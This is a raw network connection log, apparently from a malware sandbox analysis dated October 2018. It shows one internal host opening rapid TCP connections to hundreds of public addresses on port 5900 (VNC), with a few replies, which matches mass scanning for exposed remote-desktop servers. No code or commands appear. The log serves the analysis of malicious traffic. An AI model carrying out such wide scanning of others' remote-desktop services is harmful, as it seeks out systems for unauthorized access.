Oct 30, 2018 14:44:34.584250927 CET	50230	5900	192.168.1.81	134.203.14.168
Oct 30, 2018 14:44:34.590167046 CET	50322	5900	192.168.1.81	79.121.138.29
Oct 30, 2018 14:44:34.615500927 CET	50231	5900	192.168.1.81	86.246.124.27
Oct 30, 2018 14:44:34.624584913 CET	50323	5900	192.168.1.81	157.80.71.78
Oct 30, 2018 14:44:34.649939060 CET	50324	5900	192.168.1.81	77.4.113.179
Oct 30, 2018 14:44:34.680758953 CET	50325	5900	192.168.1.81	196.103.94.48
Oct 30, 2018 14:44:34.693873882 CET	50232	5900	192.168.1.81	175.81.167.103
Oct 30, 2018 14:44:34.709575891 CET	50233	5900	192.168.1.81	34.175.87.62
Oct 30, 2018 14:44:34.716675043 CET	50326	5900	192.168.1.81	62.104.74.146
Oct 30, 2018 14:44:34.740206003 CET	50235	5900	192.168.1.81	200.95.209.112
Oct 30, 2018 14:44:34.743282080 CET	50327	5900	192.168.1.81	122.161.92.187
Oct 30, 2018 14:44:34.774939060 CET	50328	5900	192.168.1.81	152.214.81.155
Oct 30, 2018 14:44:34.787125111 CET	50236	5900	192.168.1.81	49.171.138.160
Oct 30, 2018 14:44:34.802826881 CET	50237	5900	192.168.1.81	182.6.68.214
Oct 30, 2018 14:44:34.806554079 CET	50329	5900	192.168.1.81	195.22.168.199
Oct 30, 2018 14:44:34.834090948 CET	50238	5900	192.168.1.81	83.129.110.120
Oct 30, 2018 14:44:34.837630033 CET	50330	5900	192.168.1.81	202.247.181.98
Oct 30, 2018 14:44:34.868216991 CET	50331	5900	192.168.1.81	103.48.125.104
Oct 30, 2018 14:44:34.896791935 CET	50281	5900	192.168.1.81	58.74.56.1
Oct 30, 2018 14:44:34.896913052 CET	50240	5900	192.168.1.81	117.228.105.35
Oct 30, 2018 14:44:34.899959087 CET	50332	5900	192.168.1.81	118.214.200.202
Oct 30, 2018 14:44:34.928185940 CET	50241	5900	192.168.1.81	35.47.156.224
Oct 30, 2018 14:44:34.932275057 CET	50333	5900	192.168.1.81	106.178.190.82
Oct 30, 2018 14:44:34.964724064 CET	50334	5900	192.168.1.81	109.225.131.178
Oct 30, 2018 14:44:34.975136042 CET	50242	5900	192.168.1.81	189.169.159.157
Oct 30, 2018 14:44:34.990803003 CET	50243	5900	192.168.1.81	191.52.254.21
Oct 30, 2018 14:44:34.993872881 CET	50335	5900	192.168.1.81	193.177.37.82
Oct 30, 2018 14:44:35.025469065 CET	50336	5900	192.168.1.81	151.118.82.42
Oct 30, 2018 14:44:35.037056923 CET	50244	5900	192.168.1.81	41.214.103.131
Oct 30, 2018 14:44:35.052679062 CET	50245	5900	192.168.1.81	160.3.148.74
Oct 30, 2018 14:44:35.056250095 CET	50337	5900	192.168.1.81	103.179.176.198
Oct 30, 2018 14:44:35.084009886 CET	50311	5900	192.168.1.81	113.219.131.186
Oct 30, 2018 14:44:35.084146976 CET	50246	5900	192.168.1.81	193.81.148.30
Oct 30, 2018 14:44:35.087866068 CET	50338	5900	192.168.1.81	184.129.184.191
Oct 30, 2018 14:44:35.115291119 CET	50247	5900	192.168.1.81	98.22.117.143
Oct 30, 2018 14:44:35.119014025 CET	50339	5900	192.168.1.81	141.210.249.188
Oct 30, 2018 14:44:35.146573067 CET	50248	5900	192.168.1.81	180.17.12.15
Oct 30, 2018 14:44:35.150779009 CET	50340	5900	192.168.1.81	196.174.188.219
Oct 30, 2018 14:44:35.181081057 CET	50341	5900	192.168.1.81	70.242.66.10
Oct 30, 2018 14:44:35.209127903 CET	50250	5900	192.168.1.81	95.231.51.124
Oct 30, 2018 14:44:35.216314077 CET	50342	5900	192.168.1.81	135.39.47.39
Oct 30, 2018 14:44:35.225796938 CET	5900	50281	58.74.56.1	192.168.1.81
Oct 30, 2018 14:44:35.240533113 CET	50251	5900	192.168.1.81	30.21.118.105
Oct 30, 2018 14:44:35.243515968 CET	50343	5900	192.168.1.81	191.11.98.4
Oct 30, 2018 14:44:35.271811008 CET	50252	5900	192.168.1.81	191.214.162.85
Oct 30, 2018 14:44:35.274455070 CET	50344	5900	192.168.1.81	102.218.53.139
Oct 30, 2018 14:44:35.306884050 CET	50345	5900	192.168.1.81	116.119.125.191
Oct 30, 2018 14:44:35.318937063 CET	50253	5900	192.168.1.81	84.149.67.138
Oct 30, 2018 14:44:35.334431887 CET	50254	5900	192.168.1.81	170.118.176.37
Oct 30, 2018 14:44:35.337291002 CET	50346	5900	192.168.1.81	180.230.173.57
Oct 30, 2018 14:44:35.365025043 CET	50255	5900	192.168.1.81	108.81.196.244
Oct 30, 2018 14:44:35.367862940 CET	50347	5900	192.168.1.81	158.102.14.230
Oct 30, 2018 14:44:35.396307945 CET	50256	5900	192.168.1.81	106.105.202.241
Oct 30, 2018 14:44:35.399215937 CET	50348	5900	192.168.1.81	150.253.93.66
Oct 30, 2018 14:44:35.431149006 CET	50349	5900	192.168.1.81	163.72.63.25
Oct 30, 2018 14:44:35.442404985 CET	5900	50311	113.219.131.186	192.168.1.81
Oct 30, 2018 14:44:35.462908030 CET	50350	5900	192.168.1.81	123.105.114.70
Oct 30, 2018 14:44:35.493062019 CET	50351	5900	192.168.1.81	89.92.142.93
Oct 30, 2018 14:44:35.505831003 CET	50257	5900	192.168.1.81	109.70.193.150
Oct 30, 2018 14:44:35.505918980 CET	50258	5900	192.168.1.81	33.106.29.54
Oct 30, 2018 14:44:35.505951881 CET	50259	5900	192.168.1.81	57.228.161.171
Oct 30, 2018 14:44:35.525851965 CET	50352	5900	192.168.1.81	45.153.211.46
Oct 30, 2018 14:44:35.556240082 CET	50353	5900	192.168.1.81	39.64.204.39
Oct 30, 2018 14:44:35.588027954 CET	50354	5900	192.168.1.81	182.61.68.115
Oct 30, 2018 14:44:35.599842072 CET	50260	5900	192.168.1.81	62.219.11.94
Oct 30, 2018 14:44:35.599910975 CET	50261	5900	192.168.1.81	59.163.143.140
Oct 30, 2018 14:44:35.599939108 CET	50262	5900	192.168.1.81	206.112.120.217
Oct 30, 2018 14:44:35.616493940 CET	50355	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:44:35.620155096 CET	50356	5900	192.168.1.81	30.155.223.101
Oct 30, 2018 14:44:35.650441885 CET	50357	5900	192.168.1.81	188.121.77.252
Oct 30, 2018 14:44:35.682390928 CET	50358	5900	192.168.1.81	65.85.222.167
Oct 30, 2018 14:44:35.709517002 CET	50263	5900	192.168.1.81	110.55.227.4
Oct 30, 2018 14:44:35.709666014 CET	50264	5900	192.168.1.81	92.224.222.194
Oct 30, 2018 14:44:35.709695101 CET	50265	5900	192.168.1.81	188.200.237.61
Oct 30, 2018 14:44:35.709719896 CET	50266	5900	192.168.1.81	98.55.60.13
Oct 30, 2018 14:44:35.740231991 CET	50267	5900	192.168.1.81	57.204.126.60
Oct 30, 2018 14:44:35.759438038 CET	50359	5900	192.168.1.81	58.161.132.7
Oct 30, 2018 14:44:35.771497011 CET	50269	5900	192.168.1.81	98.155.198.71
Oct 30, 2018 14:44:35.775420904 CET	50360	5900	192.168.1.81	198.90.249.80
Oct 30, 2018 14:44:35.802875042 CET	50270	5900	192.168.1.81	187.86.202.234
Oct 30, 2018 14:44:35.806843042 CET	50361	5900	192.168.1.81	160.136.27.161
Oct 30, 2018 14:44:35.815706968 CET	5900	50343	191.11.98.4	192.168.1.81
Oct 30, 2018 14:44:35.834192038 CET	50271	5900	192.168.1.81	130.71.243.113
Oct 30, 2018 14:44:35.838217020 CET	50362	5900	192.168.1.81	187.241.179.87
Oct 30, 2018 14:44:35.865088940 CET	50272	5900	192.168.1.81	73.19.154.47
Oct 30, 2018 14:44:35.868216038 CET	50363	5900	192.168.1.81	151.221.61.57
Oct 30, 2018 14:44:35.896441936 CET	50273	5900	192.168.1.81	132.238.86.94
Oct 30, 2018 14:44:35.903336048 CET	50364	5900	192.168.1.81	161.168.101.25
Oct 30, 2018 14:44:35.907893896 CET	5900	50355	142.112.20.74	192.168.1.81
Oct 30, 2018 14:44:35.908205032 CET	50355	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:44:35.927561045 CET	50274	5900	192.168.1.81	65.62.74.154
Oct 30, 2018 14:44:35.931169033 CET	50365	5900	192.168.1.81	134.156.68.174
Oct 30, 2018 14:44:35.961566925 CET	50311	5900	192.168.1.81	113.219.131.186
Oct 30, 2018 14:44:35.961648941 CET	50275	5900	192.168.1.81	30.82.195.162
Oct 30, 2018 14:44:35.964869022 CET	50366	5900	192.168.1.81	180.63.158.64
Oct 30, 2018 14:44:35.993532896 CET	50367	5900	192.168.1.81	70.138.51.132
Oct 30, 2018 14:44:36.025468111 CET	50368	5900	192.168.1.81	106.188.70.175
Oct 30, 2018 14:44:36.037255049 CET	50276	5900	192.168.1.81	207.78.202.156
Oct 30, 2018 14:44:36.052891016 CET	50277	5900	192.168.1.81	35.154.220.99
Oct 30, 2018 14:44:36.057617903 CET	50369	5900	192.168.1.81	104.70.140.155
Oct 30, 2018 14:44:36.088752985 CET	50370	5900	192.168.1.81	136.118.25.140
Oct 30, 2018 14:44:36.119101048 CET	50278	5900	192.168.1.81	128.113.195.141
Oct 30, 2018 14:44:36.124521971 CET	50371	5900	192.168.1.81	38.229.112.247
Oct 30, 2018 14:44:36.146368980 CET	50279	5900	192.168.1.81	33.13.18.2
Oct 30, 2018 14:44:36.152118921 CET	50372	5900	192.168.1.81	44.70.109.202
Oct 30, 2018 14:44:36.177726984 CET	50280	5900	192.168.1.81	181.245.72.190
Oct 30, 2018 14:44:36.182797909 CET	50373	5900	192.168.1.81	173.36.12.158
Oct 30, 2018 14:44:36.198137045 CET	5900	50355	142.112.20.74	192.168.1.81
Oct 30, 2018 14:44:36.198539019 CET	50355	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:44:36.212544918 CET	50374	5900	192.168.1.81	189.177.208.83
Oct 30, 2018 14:44:36.244067907 CET	50375	5900	192.168.1.81	114.34.220.255
Oct 30, 2018 14:44:36.255943060 CET	50282	5900	192.168.1.81	165.87.165.1
Oct 30, 2018 14:44:36.271543980 CET	50283	5900	192.168.1.81	98.47.99.79
Oct 30, 2018 14:44:36.274013042 CET	50376	5900	192.168.1.81	125.62.233.54
Oct 30, 2018 14:44:36.303014040 CET	50284	5900	192.168.1.81	204.33.62.215
Oct 30, 2018 14:44:36.307620049 CET	50377	5900	192.168.1.81	40.177.60.243
Oct 30, 2018 14:44:36.319957972 CET	5900	50311	113.219.131.186	192.168.1.81
Oct 30, 2018 14:44:36.320274115 CET	50343	5900	192.168.1.81	191.11.98.4
Oct 30, 2018 14:44:36.333894968 CET	50285	5900	192.168.1.81	95.49.204.2
Oct 30, 2018 14:44:36.337846041 CET	50378	5900	192.168.1.81	186.186.57.233
Oct 30, 2018 14:44:36.365164042 CET	50286	5900	192.168.1.81	203.38.78.91
Oct 30, 2018 14:44:36.368051052 CET	50379	5900	192.168.1.81	155.181.198.65
Oct 30, 2018 14:44:36.396579981 CET	50287	5900	192.168.1.81	132.58.200.210
Oct 30, 2018 14:44:36.401026011 CET	50380	5900	192.168.1.81	58.179.25.163
Oct 30, 2018 14:44:36.431390047 CET	50288	5900	192.168.1.81	82.129.233.93
Oct 30, 2018 14:44:36.435401917 CET	50381	5900	192.168.1.81	112.20.6.55
Oct 30, 2018 14:44:36.458950996 CET	50289	5900	192.168.1.81	77.44.118.21
Oct 30, 2018 14:44:36.463761091 CET	50382	5900	192.168.1.81	112.219.27.51
Oct 30, 2018 14:44:36.489993095 CET	5900	50355	142.112.20.74	192.168.1.81
Oct 30, 2018 14:44:36.490067959 CET	50290	5900	192.168.1.81	161.30.77.169
Oct 30, 2018 14:44:36.490336895 CET	50355	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:44:36.491281033 CET	50383	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:44:36.491980076 CET	5900	50355	142.112.20.74	192.168.1.81
Oct 30, 2018 14:44:36.492074966 CET	50355	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:44:36.521265030 CET	50291	5900	192.168.1.81	186.1.50.54
Oct 30, 2018 14:44:36.524396896 CET	50384	5900	192.168.1.81	164.158.49.252
Oct 30, 2018 14:44:36.552670002 CET	50292	5900	192.168.1.81	56.95.126.78
Oct 30, 2018 14:44:36.555592060 CET	50385	5900	192.168.1.81	124.238.212.168
Oct 30, 2018 14:44:36.583863974 CET	50293	5900	192.168.1.81	85.101.223.211
Oct 30, 2018 14:44:36.587812901 CET	50386	5900	192.168.1.81	86.174.36.115
Oct 30, 2018 14:44:36.615334988 CET	50294	5900	192.168.1.81	71.198.190.116
Oct 30, 2018 14:44:36.618031025 CET	50387	5900	192.168.1.81	71.243.190.203
Oct 30, 2018 14:44:36.646532059 CET	50295	5900	192.168.1.81	203.248.5.214
Oct 30, 2018 14:44:36.649770975 CET	50388	5900	192.168.1.81	40.176.218.49
Oct 30, 2018 14:44:36.680876970 CET	50389	5900	192.168.1.81	104.176.36.8
Oct 30, 2018 14:44:36.694000959 CET	50390	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:44:36.712512970 CET	50391	5900	192.168.1.81	119.111.119.25
Oct 30, 2018 14:44:36.740586996 CET	50297	5900	192.168.1.81	144.15.45.173
Oct 30, 2018 14:44:36.744360924 CET	50392	5900	192.168.1.81	43.176.136.35
Oct 30, 2018 14:44:36.771939993 CET	50298	5900	192.168.1.81	78.70.99.141
Oct 30, 2018 14:44:36.777856112 CET	50393	5900	192.168.1.81	150.34.185.6
Oct 30, 2018 14:44:36.784481049 CET	5900	50383	142.112.20.74	192.168.1.81
Oct 30, 2018 14:44:36.784631968 CET	50383	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:44:36.795383930 CET	5900	50343	191.11.98.4	192.168.1.81
Oct 30, 2018 14:44:36.803224087 CET	50299	5900	192.168.1.81	156.7.42.138
Oct 30, 2018 14:44:36.807240963 CET	50394	5900	192.168.1.81	160.229.146.218
Oct 30, 2018 14:44:36.834572077 CET	50300	5900	192.168.1.81	178.15.191.112
Oct 30, 2018 14:44:36.841972113 CET	50395	5900	192.168.1.81	95.198.61.146
Oct 30, 2018 14:44:36.865169048 CET	50301	5900	192.168.1.81	202.51.146.184
Oct 30, 2018 14:44:36.870434999 CET	50396	5900	192.168.1.81	73.9.106.111
Oct 30, 2018 14:44:36.901021957 CET	50397	5900	192.168.1.81	165.132.125.230
Oct 30, 2018 14:44:36.927725077 CET	50302	5900	192.168.1.81	200.80.161.250
Oct 30, 2018 14:44:36.932254076 CET	50398	5900	192.168.1.81	111.133.110.67
Oct 30, 2018 14:44:36.959249020 CET	50303	5900	192.168.1.81	189.182.18.140
Oct 30, 2018 14:44:36.960613012 CET	5900	50390	168.105.226.96	192.168.1.81
Oct 30, 2018 14:44:36.960796118 CET	50390	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:44:36.966195107 CET	50399	5900	192.168.1.81	44.34.179.30
Oct 30, 2018 14:44:36.990549088 CET	50304	5900	192.168.1.81	97.135.222.128
Oct 30, 2018 14:44:36.995837927 CET	50400	5900	192.168.1.81	137.249.176.126
Oct 30, 2018 14:44:37.021840096 CET	50305	5900	192.168.1.81	191.201.73.190
Oct 30, 2018 14:44:37.053189993 CET	50306	5900	192.168.1.81	55.138.18.105
Oct 30, 2018 14:44:37.060167074 CET	50401	5900	192.168.1.81	109.67.72.78
Oct 30, 2018 14:44:37.077331066 CET	5900	50383	142.112.20.74	192.168.1.81
Oct 30, 2018 14:44:37.077687025 CET	50383	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:44:37.084466934 CET	50307	5900	192.168.1.81	79.171.56.12
Oct 30, 2018 14:44:37.088927984 CET	50402	5900	192.168.1.81	126.251.60.149
Oct 30, 2018 14:44:37.115094900 CET	50308	5900	192.168.1.81	34.181.144.87
Oct 30, 2018 14:44:37.119831085 CET	50403	5900	192.168.1.81	73.34.113.45
Oct 30, 2018 14:44:37.146414995 CET	50309	5900	192.168.1.81	75.119.191.190
Oct 30, 2018 14:44:37.152431011 CET	50404	5900	192.168.1.81	65.247.157.155
Oct 30, 2018 14:44:37.178071022 CET	50310	5900	192.168.1.81	71.74.83.13
Oct 30, 2018 14:44:37.182547092 CET	50405	5900	192.168.1.81	91.224.255.64
Oct 30, 2018 14:44:37.214730978 CET	50406	5900	192.168.1.81	50.48.112.194
Oct 30, 2018 14:44:37.244913101 CET	50407	5900	192.168.1.81	121.150.156.190
Oct 30, 2018 14:44:37.255729914 CET	50312	5900	192.168.1.81	166.177.225.37
Oct 30, 2018 14:44:37.267467022 CET	5900	50390	168.105.226.96	192.168.1.81
Oct 30, 2018 14:44:37.267875910 CET	5900	50390	168.105.226.96	192.168.1.81
Oct 30, 2018 14:44:37.271703005 CET	50313	5900	192.168.1.81	49.106.243.248
Oct 30, 2018 14:44:37.283061981 CET	50390	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:44:37.288625002 CET	50408	5900	192.168.1.81	100.180.173.213
Oct 30, 2018 14:44:37.303009987 CET	50343	5900	192.168.1.81	191.11.98.4
Oct 30, 2018 14:44:37.303082943 CET	50314	5900	192.168.1.81	83.87.134.85
Oct 30, 2018 14:44:37.306160927 CET	50409	5900	192.168.1.81	79.119.216.235
Oct 30, 2018 14:44:37.334464073 CET	50315	5900	192.168.1.81	157.120.49.148
Oct 30, 2018 14:44:37.339426994 CET	50410	5900	192.168.1.81	70.75.45.45
Oct 30, 2018 14:44:37.365793943 CET	50316	5900	192.168.1.81	42.9.91.185
Oct 30, 2018 14:44:37.371159077 CET	50411	5900	192.168.1.81	139.176.140.38
Oct 30, 2018 14:44:37.371910095 CET	5900	50383	142.112.20.74	192.168.1.81
Oct 30, 2018 14:44:37.371942043 CET	5900	50383	142.112.20.74	192.168.1.81
Oct 30, 2018 14:44:37.372068882 CET	50383	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:44:37.372179985 CET	50383	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:44:37.397089005 CET	50317	5900	192.168.1.81	200.135.59.97
Oct 30, 2018 14:44:37.402896881 CET	50412	5900	192.168.1.81	80.216.171.9
Oct 30, 2018 14:44:37.427643061 CET	50318	5900	192.168.1.81	95.118.159.193
Oct 30, 2018 14:44:37.432780027 CET	50413	5900	192.168.1.81	156.83.135.250
Oct 30, 2018 14:44:37.464437008 CET	50414	5900	192.168.1.81	102.216.164.107
Oct 30, 2018 14:44:37.474586010 CET	50319	5900	192.168.1.81	188.73.116.153
Oct 30, 2018 14:44:37.490235090 CET	50320	5900	192.168.1.81	167.174.224.25
Oct 30, 2018 14:44:37.495537996 CET	50415	5900	192.168.1.81	88.218.19.215
Oct 30, 2018 14:44:37.525172949 CET	50416	5900	192.168.1.81	204.95.122.16
Oct 30, 2018 14:44:37.552900076 CET	50321	5900	192.168.1.81	68.62.119.49
Oct 30, 2018 14:44:37.557457924 CET	50417	5900	192.168.1.81	208.55.64.193
Oct 30, 2018 14:44:37.572695971 CET	5900	50390	168.105.226.96	192.168.1.81
Oct 30, 2018 14:44:37.573338985 CET	5900	50390	168.105.226.96	192.168.1.81
Oct 30, 2018 14:44:37.573545933 CET	50390	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:44:37.573556900 CET	5900	50390	168.105.226.96	192.168.1.81
Oct 30, 2018 14:44:37.573617935 CET	50390	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:44:37.574430943 CET	50418	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:44:37.574635983 CET	5900	50407	121.150.156.190	192.168.1.81
Oct 30, 2018 14:44:37.584216118 CET	50322	5900	192.168.1.81	79.121.138.29
Oct 30, 2018 14:44:37.588795900 CET	50419	5900	192.168.1.81	159.53.239.111
Oct 30, 2018 14:44:37.615529060 CET	50323	5900	192.168.1.81	157.80.71.78
Oct 30, 2018 14:44:37.619940996 CET	50420	5900	192.168.1.81	176.104.11.30
Oct 30, 2018 14:44:37.646718979 CET	50324	5900	192.168.1.81	77.4.113.179
Oct 30, 2018 14:44:37.651997089 CET	50421	5900	192.168.1.81	163.249.108.77
Oct 30, 2018 14:44:37.664545059 CET	5900	50383	142.112.20.74	192.168.1.81
Oct 30, 2018 14:44:37.664685965 CET	50383	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:44:37.677963018 CET	50325	5900	192.168.1.81	196.103.94.48
Oct 30, 2018 14:44:37.682712078 CET	50422	5900	192.168.1.81	72.179.73.16
Oct 30, 2018 14:44:37.717262983 CET	50423	5900	192.168.1.81	166.220.26.220
Oct 30, 2018 14:44:37.725110054 CET	50326	5900	192.168.1.81	62.104.74.146
Oct 30, 2018 14:44:37.740710974 CET	50327	5900	192.168.1.81	122.161.92.187
Oct 30, 2018 14:44:37.770486116 CET	5900	50343	191.11.98.4	192.168.1.81
Oct 30, 2018 14:44:37.787216902 CET	50328	5900	192.168.1.81	152.214.81.155
Oct 30, 2018 14:44:37.792072058 CET	50424	5900	192.168.1.81	89.221.106.225
Oct 30, 2018 14:44:37.799787045 CET	50425	5900	192.168.1.81	152.226.76.246
Oct 30, 2018 14:44:37.819138050 CET	50329	5900	192.168.1.81	195.22.168.199
Oct 30, 2018 14:44:37.824739933 CET	50426	5900	192.168.1.81	42.247.10.127
Oct 30, 2018 14:44:37.855226994 CET	50427	5900	192.168.1.81	81.62.183.212
Oct 30, 2018 14:44:37.881822109 CET	5900	50418	168.105.226.96	192.168.1.81
Oct 30, 2018 14:44:37.881917000 CET	50418	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:44:37.884563923 CET	50428	5900	192.168.1.81	47.196.206.128
Oct 30, 2018 14:44:37.917085886 CET	50429	5900	192.168.1.81	97.47.247.234
Oct 30, 2018 14:44:37.928139925 CET	50330	5900	192.168.1.81	202.247.181.98
Oct 30, 2018 14:44:37.928201914 CET	50331	5900	192.168.1.81	103.48.125.104
Oct 30, 2018 14:44:37.928231955 CET	50332	5900	192.168.1.81	118.214.200.202
Oct 30, 2018 14:44:37.928257942 CET	50333	5900	192.168.1.81	106.178.190.82
Oct 30, 2018 14:44:37.946113110 CET	50430	5900	192.168.1.81	101.29.155.67
Oct 30, 2018 14:44:37.977762938 CET	50431	5900	192.168.1.81	200.4.110.197
Oct 30, 2018 14:44:38.009769917 CET	50432	5900	192.168.1.81	184.122.15.24
Oct 30, 2018 14:44:38.022012949 CET	50334	5900	192.168.1.81	109.225.131.178
Oct 30, 2018 14:44:38.022078037 CET	50335	5900	192.168.1.81	193.177.37.82
Oct 30, 2018 14:44:38.022103071 CET	50336	5900	192.168.1.81	151.118.82.42
Oct 30, 2018 14:44:38.042745113 CET	50433	5900	192.168.1.81	170.152.229.125
Oct 30, 2018 14:44:38.052656889 CET	50337	5900	192.168.1.81	103.179.176.198
Oct 30, 2018 14:44:38.070621967 CET	50434	5900	192.168.1.81	48.248.215.123
Oct 30, 2018 14:44:38.083965063 CET	50407	5900	192.168.1.81	121.150.156.190
Oct 30, 2018 14:44:38.084038019 CET	50338	5900	192.168.1.81	184.129.184.191
Oct 30, 2018 14:44:38.103570938 CET	50435	5900	192.168.1.81	53.237.12.59
Oct 30, 2018 14:44:38.115385056 CET	50339	5900	192.168.1.81	141.210.249.188
Oct 30, 2018 14:44:38.135086060 CET	50436	5900	192.168.1.81	165.1.205.91
Oct 30, 2018 14:44:38.162431955 CET	50340	5900	192.168.1.81	196.174.188.219
Oct 30, 2018 14:44:38.165998936 CET	50437	5900	192.168.1.81	186.83.188.200
Oct 30, 2018 14:44:38.180304050 CET	50341	5900	192.168.1.81	70.242.66.10
Oct 30, 2018 14:44:38.189292908 CET	5900	50418	168.105.226.96	192.168.1.81
Oct 30, 2018 14:44:38.189559937 CET	5900	50418	168.105.226.96	192.168.1.81
Oct 30, 2018 14:44:38.189821959 CET	50418	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:44:38.196881056 CET	50438	5900	192.168.1.81	167.236.106.252
Oct 30, 2018 14:44:38.208878994 CET	50342	5900	192.168.1.81	135.39.47.39
Oct 30, 2018 14:44:38.228538990 CET	50439	5900	192.168.1.81	148.152.147.50
Oct 30, 2018 14:44:38.260960102 CET	50440	5900	192.168.1.81	42.78.3.92
Oct 30, 2018 14:44:38.268069983 CET	5900	50430	101.29.155.67	192.168.1.81
Oct 30, 2018 14:44:38.271548033 CET	50344	5900	192.168.1.81	102.218.53.139
Oct 30, 2018 14:44:38.293009996 CET	50441	5900	192.168.1.81	108.218.93.252
Oct 30, 2018 14:44:38.302654028 CET	50345	5900	192.168.1.81	116.119.125.191
Oct 30, 2018 14:44:38.320908070 CET	50442	5900	192.168.1.81	122.184.222.172
Oct 30, 2018 14:44:38.334145069 CET	50346	5900	192.168.1.81	180.230.173.57
Oct 30, 2018 14:44:38.353919983 CET	50443	5900	192.168.1.81	106.83.74.100
Oct 30, 2018 14:44:38.365592003 CET	50347	5900	192.168.1.81	158.102.14.230
Oct 30, 2018 14:44:38.383764982 CET	50444	5900	192.168.1.81	205.31.146.96
Oct 30, 2018 14:44:38.396862030 CET	50348	5900	192.168.1.81	150.253.93.66
Oct 30, 2018 14:44:38.415261030 CET	5900	50407	121.150.156.190	192.168.1.81
Oct 30, 2018 14:44:38.417244911 CET	50445	5900	192.168.1.81	183.67.249.49
Oct 30, 2018 14:44:38.428211927 CET	50349	5900	192.168.1.81	163.72.63.25
Oct 30, 2018 14:44:38.447624922 CET	50446	5900	192.168.1.81	160.69.179.198
Oct 30, 2018 14:44:38.459436893 CET	50350	5900	192.168.1.81	123.105.114.70
Oct 30, 2018 14:44:38.479865074 CET	50447	5900	192.168.1.81	105.233.79.152
Oct 30, 2018 14:44:38.496041059 CET	5900	50418	168.105.226.96	192.168.1.81
Oct 30, 2018 14:44:38.496306896 CET	5900	50418	168.105.226.96	192.168.1.81
Oct 30, 2018 14:44:38.496500015 CET	5900	50418	168.105.226.96	192.168.1.81
Oct 30, 2018 14:44:38.496567965 CET	50418	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:44:38.496673107 CET	50418	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:44:38.505759001 CET	50351	5900	192.168.1.81	89.92.142.93
Oct 30, 2018 14:44:38.510075092 CET	50448	5900	192.168.1.81	66.63.88.48
Oct 30, 2018 14:44:38.537187099 CET	50352	5900	192.168.1.81	45.153.211.46
Oct 30, 2018 14:44:38.541507006 CET	50449	5900	192.168.1.81	162.137.29.49
Oct 30, 2018 14:44:38.552870035 CET	50353	5900	192.168.1.81	39.64.204.39
Oct 30, 2018 14:44:38.584125042 CET	50354	5900	192.168.1.81	182.61.68.115
Oct 30, 2018 14:44:38.586122990 CET	50450	5900	192.168.1.81	161.251.104.177
Oct 30, 2018 14:44:38.615696907 CET	50356	5900	192.168.1.81	30.155.223.101
Oct 30, 2018 14:44:38.631027937 CET	50451	5900	192.168.1.81	64.124.33.244
Oct 30, 2018 14:44:38.643075943 CET	50452	5900	192.168.1.81	187.227.60.229
Oct 30, 2018 14:44:38.646457911 CET	50357	5900	192.168.1.81	188.121.77.252
Oct 30, 2018 14:44:38.673681021 CET	50453	5900	192.168.1.81	179.97.196.209
Oct 30, 2018 14:44:38.704616070 CET	50454	5900	192.168.1.81	146.140.13.206
Oct 30, 2018 14:44:38.729567051 CET	50455	5900	192.168.1.81	179.74.58.79
Oct 30, 2018 14:44:38.740458965 CET	50358	5900	192.168.1.81	65.85.222.167
Oct 30, 2018 14:44:38.834361076 CET	50359	5900	192.168.1.81	58.161.132.7
Oct 30, 2018 14:44:38.834434986 CET	50430	5900	192.168.1.81	101.29.155.67
Oct 30, 2018 14:44:38.834467888 CET	50360	5900	192.168.1.81	198.90.249.80
Oct 30, 2018 14:44:38.834485054 CET	50361	5900	192.168.1.81	160.136.27.161
Oct 30, 2018 14:44:38.834501982 CET	50362	5900	192.168.1.81	187.241.179.87
Oct 30, 2018 14:44:38.835635900 CET	50456	5900	192.168.1.81	80.242.58.189
Oct 30, 2018 14:44:38.852500916 CET	50457	5900	192.168.1.81	154.136.229.187
Oct 30, 2018 14:44:38.868242025 CET	50458	5900	192.168.1.81	44.74.82.74
Oct 30, 2018 14:44:38.899735928 CET	50459	5900	192.168.1.81	116.255.148.247
Oct 30, 2018 14:44:38.933305979 CET	50460	5900	192.168.1.81	123.216.123.228
Oct 30, 2018 14:44:38.943159103 CET	50363	5900	192.168.1.81	151.221.61.57
Oct 30, 2018 14:44:38.943193913 CET	50364	5900	192.168.1.81	161.168.101.25
Oct 30, 2018 14:44:38.943214893 CET	50407	5900	192.168.1.81	121.150.156.190
Oct 30, 2018 14:44:38.943240881 CET	50365	5900	192.168.1.81	134.156.68.174
Oct 30, 2018 14:44:38.962693930 CET	50461	5900	192.168.1.81	98.146.6.62
Oct 30, 2018 14:44:38.993865967 CET	50462	5900	192.168.1.81	180.237.155.233
Oct 30, 2018 14:44:39.012768030 CET	50366	5900	192.168.1.81	180.63.158.64
Oct 30, 2018 14:44:39.012814045 CET	50367	5900	192.168.1.81	70.138.51.132
Oct 30, 2018 14:44:39.026072025 CET	50463	5900	192.168.1.81	90.143.67.143
Oct 30, 2018 14:44:39.037939072 CET	50368	5900	192.168.1.81	106.188.70.175
Oct 30, 2018 14:44:39.075078011 CET	56065	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:39.078562021 CET	50464	5900	192.168.1.81	97.212.225.78
Oct 30, 2018 14:44:39.089939117 CET	50465	5900	192.168.1.81	78.190.72.32
Oct 30, 2018 14:44:39.109126091 CET	53	56065	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:39.118469000 CET	50466	5900	192.168.1.81	176.111.13.92
Oct 30, 2018 14:44:39.146523952 CET	50369	5900	192.168.1.81	104.70.140.155
